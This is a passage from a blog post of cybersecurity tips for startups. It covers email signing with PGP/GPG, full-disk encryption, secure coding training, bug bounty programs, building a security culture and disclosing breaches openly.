Nowadays attackers have access to sophisticated phishing tools like SET (Social-Engineer Toolkit) or Gophish which they use to target your employees, they also have access to large repositories of open-source phishing tools they use to tune and adapt their attacks to specific people.

Most of this tools allow attackers to spoof corporate emails and trick your users into downloading malicious files into their systems and into your network, spotting spoofed email addresses is very difficult for common users however using security software like PGP (Pretty Good Privacy) & GPG can help you to mitigate the issue.

Enforcing the use of software such as GPG (GNU Privacy Guard) could help your startup in many ways, like verify the legitimacy of a received messages or encrypt an email content so only a specific user can read them.

You can verify if a message you receive is legit by using the public key of the sender (usually another employee in the organization), meaning: if the person that sent you the email also signed the message using his private key and that private key is associated with the public key you have, then you are guaranteed the message is coming from the right person.

I know this sounds a little bit confusing at the beginning, but the main idea is that every person in the company has a key pair, a public key and a private key, everybody exchanges their public keys while keep their private keys to themself, so when I want to send a message to Mr John Doe I write the message normally and then I proceed to sign it with my own secret key, optionally I can encrypt the message using the public key of John Doe, so the message can only be decrypted and read it by the private/secret key of John, finally John can use my public key to verify the signature I applied to the original message (the one I generated with my private key).

If you still don’t get it don’t worry about it, nowadays most email clients support PGP and the process for verifying and decrypting emails is automatically, there is also a chrome extension called FlowCrypt that I highly recommend!

This message was encrypted with my public key and then sent to me, not even google can read this.
The message decrypted on my browser via the FlowCrypt browser extension

5: Encrypting all your drives

Now we are introducing the concept endpoint protection and “data loss prevention“, in fact I think most of you already use some form of data encryption software, I’m not going to go deep into the details but encrypting your drives could protect your data in many cases, ie: someone steal a company hard drive and try to mount it in another computer to read the information.

If your employees are MacOS users, the operating system already come shipped with FileVault enabled by default, if they use Windows they can use BitLocker and if they use a modern Linux distribution (ie: Ubuntu) full disk encryption is also available.

Data encryption has pros and cons, but the benefits are superior from a privacy and security stand point so I highly recommend to use full disk encryption in all company devices if possible, also the solutions I mentioned above are all free, so you don’t need to spend any money on this one too in order to protect your employees.

6: Encourage secure coding best practices

Usually, when you start a new company then financial resources are limited and you need to be very careful with the people you hire, basically you want to have the best developers, people that are really good at whatever they do but also are wiling to learn and adapt to different situations, you want Rockstar developers.

Rockstars developers have the potential for learning anything, so feed them with the right content, Open Security Training contains great resources about different topics of security like Introduction to Secure Coding, the best part is, are you ready?, its all FREE! in fact this is how I have been learning about security all this years.

Besides Open Security Training there is also The Open Web Application Security Project (OWASP), which is also a good resource for starters so they can learn how to create secure web applications and also secure mobile apps.

Everybody can learn about Security these days, encourage your developers to do it (give them time and resources) and your team will become stronger!, here are some extra sources I had used in the past:

7: Consider hiring a security expert to join your team or an external security team

This advice is more for mature startups or executives who already have a budget to spend on cybersecurity, but it can also apply if you are a small startup and have some friends in the security community.

The idea is to have someone in your team that can give you advice and guidance on different security matters, ie: implementing a security plan for the software development process, do threat modeling in your organization, security infrastructure (IDS, IPS, firewalls, etc), security training, network protection or just make sure your employees are safe are just some examples of things your tech Startup needs from a security perspective.

Besides having your own security guy consider hiring an external security team too, having the security assessment of an external team allow you to simulate more realistic attacks to your organization so you can be more prepared when the real thing happen.

Here are some personal thoughts about security people:

  • Security people are different
  • We enjoy talking about security all the time
  • We want to get asked about how to protect X or Y technology
  • We enjoy challenges and puzzles
  • we enjoy to break stuff and tell you how to fix them.

8: Start a bug bounty program

Companies doesn’t like the idea of their product being hacked, personally I believe that way of thinking need to change because it’s a good thing to have a group of white hat hackers finding vulnerabilities in your software before the bad guys do it.

You can start a bug bounty program with a well defined scope so people can try to hack your product legally (you can even set some special environments for this), there are some guidelines regarding how much to pay depending on the type of vulnerability but if you are still a small startup you can also offer some “swag” like t-shirts or gadgets.

In return you get (most of the time) an army of high quality security researchers that will deliver good vulnerability reports, including how to fix your security issues, everybody wins 🙂

Some popular bug bounty platforms right now are:

9: Encourage a cybersecurity culture in the Startup

The success of the cybersecurity strategy in the organization depends pretty much on the people, you can not just spend a lot of money on security assets like Firewalls and Antivirus and expect everything to be magically safe, it’s not possible because people are always the weakest part in the chain. Security is like a game and everybody need to play including high executives like CEOs and CTOs.

In order to have a culture of cybersecurity organizations have tried different things through the years, even punishing their employees, which is not very effective because people end hating security policies. In general people tend to care about security only when affects them directly but they also like rewards so there is a “new” trend in the security community about using gamification in which basically you reward your employees when they have a responsible security behaviour.

Those action might include:

  • Employees getting rewards when reporting phishing emails
  • Escort people without badge outside the facilities
  • Report suspicious USB drives or hardware that should not be there to the IT/Security department.
  • Enforce people to lock their workstation when not using them by sending emails (using the unlocked account) about free donuts for the whole floor/department/team :p

The idea of all this is to be fun while at the same time the organization become more secure against external threats.

10: Be transparent about Security issues and data breaches

Your biggest fear became true, your Startup got hacked and your information is all over the Internet, If you followed all my advices chances are your sensitive information like passwords are encrypted, which is useless for the attackers, however you still have a moral (and in some places legal) duty, you need to notify your customers and employees about the data breach (according to GDPR you have 72 hours to report a personal data breach after it’s discovered) basically every minute you wait is a minute attackers can invest into cracking and recovering the information so it’s better to communicate the incident, so people can start acting accordingly (change passwords, cancel credit cards, etc).

If you decide to hide the breach and continue without doing anything eventually everybody is going to know about hack and your reputation will be irreversibly damaged (nobody will trust you anymore) so its better to be open with your customers an accept the failure, the shame will be momentary but you will do the right thing.

There is no such thing as a Silver bullet in Cybersecurity, It’s not a matter of if you are going to be hacked or not, it’s about when is going to happen and if your organization is going to be prepared, and this is true for all companies.

Some final thoughts

Security people are often seen as blockers in the organization but I assure you, they have good intentions so please listen to them. Security is hard to implement and even harder to maintain so if you are the CEO/CTO/[Person with authority] of the startup consider to join the security team so you can experience first hand the whole process 🙂

Finally, all these advices are based on my personal opinion (I’m just a security enthusiast) so if you think I should add something else please leave it in the comments.

Happy hacking 🙂